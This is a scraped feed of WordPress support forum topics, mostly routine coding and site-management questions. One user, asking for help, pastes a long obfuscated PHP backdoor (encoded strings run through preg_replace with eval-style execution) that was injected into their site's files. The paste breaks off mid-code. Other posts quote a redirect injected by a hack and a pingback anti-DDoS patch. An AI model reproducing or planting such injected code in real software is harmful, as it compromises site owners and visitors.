Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

susieteague on "Can't log in to my admin page"

$
0
0

My site has not expired - yet is displaying a site expired click here to renew - this is refreshing every 3 days ie: says expired Sept. 27 then expired Sept 30 now says expired Oct 3. I can't log in - can't see my admin page. The pages source is http://www.google.com/adsense/domains/caf.js.

My site is http://www.artisticlicense.ca - just my portfolio - but would like to have it back up. Also would like to prevent sites like this from attacking my small site.

Thanks


msens on "Footer not showing using DZS Timeline Slider Plugin"

derek53 on "Page source question"

kyuknis on "Whole Post Wont Show When Db Queried From PHP"

$
0
0

Greetings,

I'm trying to make a go-between for a WordPress site and a set of mobile apps for a client. The code I've been using so far (very early work in progress) has already encountered an issue. When I query the wp_posts table, it only returns part of the contents of the post in the post_contents column. I was wondering if anyone could offer any insight as to why this is?

Example of returned content vs actual content:
Returns:
"Pastor Jeff suggests in this talk specific things that we can do as believers each day. If you aim at nothing, you will hit it every time. We have to plan to be intentional. "

Actual content from website:
"Pastor Jeff suggests in this talk specific things that we can do as believers each day. If you aim at nothing, you will hit it every time. We have to plan to be intentional.

One of the things that he suggests on our journey toward intentionality is “TEXT TEN Thursday” This is intentional. It will require you to spend some time and thought. We want you to text ten of your friends every Thursday.

Send them a brief text letting them know that you are thinking about and praying for them. Being intentional means to encourage, to exhort and edify. You should make each text to each friend different. Do not be lazy and copy and paste…make the text special and from your heart."

The Query:
SELECT * FROM DbName.wp_posts ORDER BY post_date_gmt DESC;

The PHP code:

<?php

    // Create defintions for login data
    // The name of the database for WordPress
    define('DB_NAME', 'TheDatabasesName');

    // MySQL database username
    define('DB_USER', 'TheUserName');

    // MySQL database password
    define('DB_PASSWORD', 'ThePassword');

    // MySQL hostname
    define('DB_HOST', 'TheHostName');

    // Create connection
    $con=mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);

    // Determine if connection was successful
    if (mysqli_connect_errno())
    {
        echo "Failed to connect to MySQL: " . mysqli_connect_error();
    }

    // Get all of the data from the wp_posts table and order it by the date it was posted
    // DESC by post_date_gmt is for simpler interoperability with NSDate object from Foundation
    $sql = "SELECT * FROM DbName.wp_posts ORDER BY post_date_gmt DESC;";

    // Check if there are results
    if ($result = mysqli_query($con, $sql))
    {
        // Results array
        $resultArray = array();
        // Temporary array
        $tempArray = array();

        // Process for each row in the result set
        while($row = $result->fetch_object())
        {
            // Adds the row to the results array
            $tempArray = $row;
            array_push($resultArray, $tempArray);
        }

        // Finally, encode the array and output the results in JSON format
        echo json_encode($resultArray);
        }

    // Close connections
    mysqli_close($result);
    mysqli_close($con);
?>

The only thing I can think of at the moment is that post_content is only a segment of the post meant to be displayed on other parts of the website and the actual content is in another part of the database that I can not find. Thank you in advance for any assistance!

bobisu on "Host Header Attack - Help"

$
0
0

Hi, i've got hacked by Host Header Attack. Problem is fixed, but I cant stop redirecting my page. Its in header <meta http-equiv="refresh" content="0; url=https://www.youtube.com/watch?v=RFngSCaY5nA"/>

I was looking for it in header.php but I just can't find it. I am using TrueMag theme.

longnha on "Redirect rule when moving to sub-domain"

$
0
0

Hello,

I move my site from mainwebsite.com/wp/ to wp.mainwebsite.com

I would like to redirect content from old domain (mainwebsite.com/wp/) to the new one (wp.mainwebsite.com) but just cannot find a suitable redirect rule that work.

Can you please help me on this? Thanks.

jc718 on "Hyperlink icon (How to change the image)"

$
0
0

Hello,

Everyone knows about that icon, a vector illustration of a chain that usually sits to the right of a hyperlink, when it appears on WordPress; I need to know if that icon could be changed into some other image like a bullet per say?

I would at least like to find out if anyone knows if that icon can be removed, or ignored from a command within the style-sheet or somewhere else in the editor?

Thanks.

sparty on "Site Hacked - Fixed but cannot share on Social Media"

$
0
0

Hi All

Clients site git hacked , managed to removed that hacked crap by installing bullet proof but when I add a social share and activate it then when I view the site and click share from the homepage it adds the hacked by text to the post. It only happens to the homepage.

For example , when sharing on Facebook its shows the site front page but the text HACKED BY AYYILDIZ TEAM | SESSIZCE NÃÆ-BETTEYIZ! shows below it,

Please help , how can I remove that as well ?


Scott Buehler on "Adding CSS HTML Class for Attributes Order Menu_Order"

$
0
0

Hey guys and gals! I've searched high and low for this and I just can't find a solution.

I'm trying to find a functions.php code that will print the "Attributes" Order number I assign to a custom post type or page to the article HTML classes I can then style with CSS.

<article itemtype="http://schema.org/CreativeWork" itemscope="itemscope"
class="post-39 custom-post-type-example type-custom-post-type-example status-publish format-standard entry odd">

In the above example CPT "Custom Post Type Example" if I assign a post with Attribute 4, I need it to add a class rank4 or similar.

I figured out how to add odd/even to this (as bolded) through searching here:

//* Add Odd/Even Class to WordPress Posts
add_filter ( 'post_class' , 'oddeven_post_class' );
	global $current_class;
	$current_class = 'odd';

function oddeven_post_class ( $classes ) {
   global $current_class;
   $classes[] = $current_class;
   $current_class = ($current_class == 'odd') ? 'even' : 'odd';
   return $classes;
}

Any way to add the attribute order as well? This will take my design to the next level. Thank you.

samafroxy22 on "Protect Wordpress again Hackers"

$
0
0

How can one protet a wordpress blog again hackers... I will like to protect my blog http://www.techrado.com .... Which plugin or method can you suggest

linkedbinary900 on "custom search results: unlimited "posts per page" with 2x "post_type""

$
0
0

Hello! I am working on a search results page that is limiting me to 10 results per page, and I'd like to extend the number of the results to, well, an infinite amount. This is mainly because I don't want to mess with the pagination that is currently failing me as well.

right now the 2 post types are 'post' and 'product'...

Thanks!

Dugs on "Welcome Message (is_user_logged_in)"

$
0
0

Hi

I added a function to my child theme which is a modified version of this: http://codex.wordpress.org/Function_Reference/is_user_logged_in

It adds a welcome message, avatar and various links to subscribers but a different view for non-subscribers. This works well and adds the message just below the page title of pages and posts. I have noticed though that its also adding this message to the RSS feed which breaks it and also to certain widgets (ones which show random posts or featured images).

I am trying to figure out a way to remove it from widgets and the rss feed and just wondering if anyone has any ideas.

Thanks

add_action( 'loop_start', 'personal_message_when_logged_in' );

function personal_message_when_logged_in() {

if ( is_user_logged_in() ) :

global $current_user;
get_currentuserinfo();
    $current_user = wp_get_current_user();

    echo '<div class=welcome-mess><p style="text-align: center;">'; echo get_wp_user_avatar($current_user->ID, 96); echo 'Member: ' .'<strong>' . $current_user->user_login . '</strong>'. "<br>"; echo '<a href="https://www.dugswelcome.com/members/">News</a> | <a href="https://www.dugswelcome.com/your-dugs-profile/">Profile</a> | <a href="https://www.dugswelcome.com/postcodesearch/">Search</a> | <a href="https://www.dugswelcome.com/discount-codes/">Discounts</a> | <a href="https://www.dugswelcome.com/dogfriendly/dog-friendly-maps/">Maps</a> | <a href="https://www.dugswelcome.com/printable-pdf-guides/">Downloads</a> | <a href="https://www.dugswelcome.com/bookmarks/">Bookmarks</a></p><hr /></div>';

else :
        echo '<div class=welcome-nonmembers><p style="text-align: right;"><a href="https://www.dugswelcome.com/dug-shop/">Online Shop</a> | <a href="https://www.dugswelcome.com/dugs-account-sign-up/">Membership</a> | <a href="https://www.dugswelcome.com/wp-login.php?action=lostpassword" rel="nofollow">Lost Password?</a></p><hr /></div>';

    endif;
}

Demokrit on "Class usage in register_sidebar"

$
0
0

Greetings,

I'm trying to customize the markup of the widgets in my sidebar for Bootstrap 3.2.0. According to Codex, "register_sidebar" should support a "class" argument:

register_sidebar(array(
		'name' => __('Primary Sidebar', 'bootstrapped'),
		'id' => 'sidebar-1',
		'description' => __('Main sidebar that appears on the left.', 'bootstrapped'),
		'class' => 'my-class',
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<div class="widget-title">',
		'after_title' => '</div>',
	));

But "class" seems to be ignored (WP 3.9.2./ WP 4.0). Can anyone share a light on it's usage?

I know that I could solve this by css or js, but then my otherwise solid solution would get hacky.

nysimpex on "is my site hacked"

np9000 on "Trying to embed a gmap"

$
0
0

I have no problems embedding a gmap normally. My problem is I set up pocket-locator.com for a site. It works great, but I want it to work better!
Pocket-locator gives me a scrip to add to any page or post. It uses my updates on there service to report my location as well as gives me options to link that information to a gmap or yahoo and stuff. I want to take that generated link and render it into a gmap to slap on the home page of my site.

I was trying to find a way to get the links url and use it to embed a gmap. I can't figure that out or how to update that embedded map on a timed interval.

any help would be awsome.


iciclesadventuretreks on "How to make a wordpress website more sucure?"

$
0
0

Hi Guys,

I would like to share a discussion/forum that how we can make our wordpress website more secure? What are the things which make our wordpress site secure. Some developers blame to plugins & some are proud on breaking a core coding of the wordpress. What are the 'Do's' and 'Don't' for the wordpress webiste? I think it is not possible to make a wordpress website without using plugins. But how can we make more secure even if we are using plugins? What are the recommended plugins for the travel sites?

stiwdio on "Display Posts in same category"

$
0
0

Hi

Have a bit of a brainteaser, wonder if anyone smart enough can help me out; I've got a single post page that displays a singe post :-)

But underneath I wish to display posts in the same category, I have the code below, which works, HOWEVER :-) I want it to exclude the current post AND exclude duplicates of posts, as for example I want to be able to tag a post in multiple categories but other posts might be in multiple categories also, so it might bring in multiple copies of the same post;

Does that make sense? Hopefully it does

Thanks for any help

<?php
	global $post;
	$categories = get_the_category();
	foreach ($categories as $category) :?>
		<?php
			$posts = get_posts('numberposts=3&category='. $category->term_id);
			foreach($posts as $post) : ?>

			<li>
				<a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
			</li>

		<?php endforeach; ?>
<?php endforeach; ?>

The Barefoot Bookworm on "WP pingbacks exploited for DDoS attacks?"

$
0
0

A blogger recently got attacked by a hacker who used pingbacks to try and overload his servers. Here's the entire post about it: http://trilema.com/2014/o-hai-let-me-wanna-be/

Of particular note in this post is the message displayed only to WP users whose blogs were used in the attack:

You are seeing this because your blog was recently used as part of a DDOS attack against Trilema.

The way this works is that the attacker sends pingbacks to a long list of blogs. The blogs in question then load the indicated url to try and verify if the pingback is legitimate (ie, if the url of the pinged blog actually appears on page), resulting in massive traffic spikes for the victim.

This works because WordPress pingbacks are poorly implemented. A more solid implementation would verify if the pingback originates from the same IP as the site that supposedly sent it, and discard the request if there's a mismatch. The current implementation allows pingbacks to be sent by any arbitrary IP, and so allow a malicious user yet another DDOS vector.

Please do your part by fixing your pingbacks implementation. The easiest way would be to open the file xmlrpc.php found in the root directory of your blog installtion, and modify the part that says

// Let's check the remote site

		$linea = wp_remote_fopen( $pagelinkedfrom );

To instead say

// Let's check the remote site

    // First, make sure we're not being used for DDoS!

    if (gethostbyname(parse_url($pagelinkedfrom, PHP_URL_HOST))
      <> $_SERVER['REMOTE_ADDR'])
      die ("Sorry, you will have to send this from your blog's IP.");

    		$linea = wp_remote_fopen( $pagelinkedfrom );

This checks that the IP of the domain you think you've been pinged by and the IP of the client informing you were pinged match, and dies if they don't - rendering this particular DDoS avenue inoperable while maintaining all the pingback functionality you could possibily want.

Thanks for being part of the solution!

Wordpress community, sound off? Does this vulnerability really exist, and if so, is it possible to fix it in the core? What do you think of the proposed solution? Could there be a possible downside to it?

I'm not a programmer and I had never heard about such a vulnerability before, but since my blog was one of the blogs implicated (the list is almost 300 MB, have asked the blogger to check it for me) I'm obviously quite concerned and I wonder if other people have heard of or experienced such attacks before.

Femio on "I am getting hacked evry two weeks? Help please"

$
0
0

The example below represents the attack that occurred on my site for the umteenth time. I have no idea how it is getting in. Spoken with the service provider, it is not on their side and they suggest that one of my plugins may be to blame. I religiously update plugin and words etc. I use wordfence wangguard akismet, you name it I have tried it.

There seems to be a particular trigger when I open th eplugins option in wordpress theyn boom this code is suddenly injected into 350 plus files. My database is always intact so I get to fix it with my back ups but this is not healthy at all.

Help would be much appreciated.

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $dlncrnqcvp = '78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x7]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]]68]y34]68]y33]65]y31]53]y6d]281]25!*3!%x5c%x7827!hmg%x5cCb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825h-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81%157%x64%145%x28%141%x72%162%x61%171%x5f%155%xbubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%xtzw%x5c%x782f%x5c%x7c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7!*1?hmg%x5c%x7825)!gj!<**2-4-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67Re%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*7878pmpusut!-#j0#!%x-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x766%x61%154%x28%151%x6d%160%x6c78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:ox782fr%x5c%x7825%x5c%x782fh%x5c%x787825kj:!>!#]y3d]51]y35]256]y76]75c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5cutjyf%x5c%x7860439275ttfsqnpdov{h19275j{*t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y87f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)74-%x5c%x7824%x5c%x785c%x5c%x7825c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]2FT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c5c%x78257>%x5c%x782f7&6|7**111125)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:*~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]1<%x5c%x7825j=6[%x5c]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%xc%x7860MPT7-NBFSUT%x5c%x7860LDPT7#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x784#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5x7825,3,j%x5c%x7825>j%x5c%x7825!<**3npd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x782A%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825t5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7]67y]37]88y]27]28y]#%x5c%72]58y]472]37y]672]48y]#>s%x5c%x7825<#462x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|c%x7860hfsq)!sp!*#ojneb#-*f825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x78248257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qj%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!ds%x7825bss%x5c%x785csboe))1%x5c%x782f35.)*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x784#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**t%x5c%x7825}K;%x5c%x78673:8297f:5297e:56-%x5c%x7878r.985:52985%x7825-*.%x5c%x7825)euhA)3of>2bd%x5A)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnb*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c3ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:*&7-#o]s]o]s]#)fepmqyf%%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%xc%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<5c%x7825)!gj!~<ofmy%x5c%5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mW~%x5c%x7825fdy)##-!#pz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%h%x5c%x7860fmjg}[;ldp]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]225)j{hnpd!opjudovg!|!**#j{h%x7825ww2!>#p#%x5c%x782f#p#%w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<27}88:}334}472%x5c%x2f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x5!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-27&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x785z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x78c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*x7825)ftpmdR6<*id%x5c%x7825ozcYufhA%x5c%x78272qj%x5c%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)32c%x787f<*X&Z&S{ftmfV%x5c%xgj6<*doj%x5c%x78257-C)fepmqnjf#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp0ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}i}Y;tuofuopd%x5c%x7860uf%x5c%x7825%x5c%x7827Y%x5c%xc%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5cc%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x7861%160%x28%42%x66%152%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)totn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x52]y3d]51]y35]274]y4:]82]y3:]62]y4%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%16*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%) { $GLOBALS["%x61%156%x75%156%x61id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>E%x5c%x7878:<##:>:h%x5c%)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBx7825s:%x5c%x785c%x5c%x7825j:.mbg!osvufs!|ftmf!~<*+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#241]334]368]322]3]364]6]283]427]36]373P6]36]73]83x5c%x7827*&7-n%x5c%x7825)utjm6<%xx782fh%x5c%x7825:<**#57]38y]47nui}&;zepc}A;~!}%x5c%x787f;!|!7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271.;%x5c%x7860UQPMSVD!-%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c83]256]y81]265]y72]254]y76]61]y335c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upc%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%xe%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#Qx5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x782{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k5l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x78f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutR|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%-#!#-%x5c%x7825tmw)%x5eN+#Qi%x5c%x785c1^W%x27-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&5%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%xset($GLOBALS["%x61%156%x75%156%x61"])))37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x55j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-wTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!is25cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]w:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x782jyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ft4%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x77825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x782x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7822f%x5c%x7825kj:-!OVMM*<(<}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%%x5c%x78256<pd%x5c%x7825x7878W~!Ypp2)%x5c%x7825zB%x5x5c%x7825%x5c%x785cSFWSqp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!**x5c%x7825)7gj6<*id%x5c%*9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcv24-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x#cd2bge56+99386c6f+9f5d816:+946:ce4*b%x5c%x7825)sf%x5c%x1%x5c%x782f14+9**-)1%x5c%x782f2986hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4ing(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%1!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x78pjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}5246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd5c%x7825tww**WYsboepn)%x5c%x7825bss-%QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI#%x5c%x782f#7e:55946-tr.984:759x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278r#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cqFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5"]=1; function fjfgg($n){return chr(ord($n)-1);} @error_report73]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257x7825:<#64y]552]e7y]#>n%x5c%x7825<#3P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%xx5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x78x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x782%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c58]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.9x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x78255c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%)!gj}Z;h!opjudovg}{;#)tut78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5/(.*)/epreg_replacemjtobpujum'; $tmkzabkrhl = explode(chr((208-164)),'7418,63,7105,39,5464,34,8848,62,8348,56,798,30,287,46,5200,21,5369,54,7748,56,1524,50,828,35,8524,56,7981,24,4157,43,4501,37,4538,61,6192,53,3699,23,5873,33,1320,37,1620,31,6975,61,6339,48,5148,52,4220,60,9286,35,10066,40,1883,33,736,62,3016,58,3469,51,4718,25,2381,41,408,48,7350,68,8741,59,4957,27,0,61,1236,53,4816,29,2517,67,6725,60,8098,23,4691,27,5646,39,8800,48,3774,48,2733,38,9445,47,4336,70,4933,24,4032,21,3372,23,4890,43,6020,21,5498,70,2624,52,9101,40,10041,25,7697,51,5715,20,8121,38,4406,45,143,24,6494,68,4280,56,333,55,3884,24,2422,36,484,55,2893,49,456,28,2321,60,8404,68,4102,27,2458,59,7036,69,6245,56,1009,40,3434,35,4646,45,1916,68,6301,38,3167,56,5094,54,8056,42,8238,21,716,20,6141,51,5276,60,2942,27,6785,39,671,45,8203,35,2147,52,8617,51,9783,51,3520,62,3722,52,3330,42,863,41,9981,60,8033,23,1406,55,4845,45,4743,47,3582,49,5221,55,1049,40,8293,55,2199,58,5735,42,6562,67,2584,40,7190,52,4790,26,608,63,7144,46,6435,59,1144,42,9321,57,3908,58,5936,30,7930,51,9492,45,6629,46,2837,56,9176,69,9056,45,1984,51,4053,49,8910,59,1461,63,9666,67,5906,30,2771,25,942,35,1651,49,1089,55,5623,23,8969,36,2796,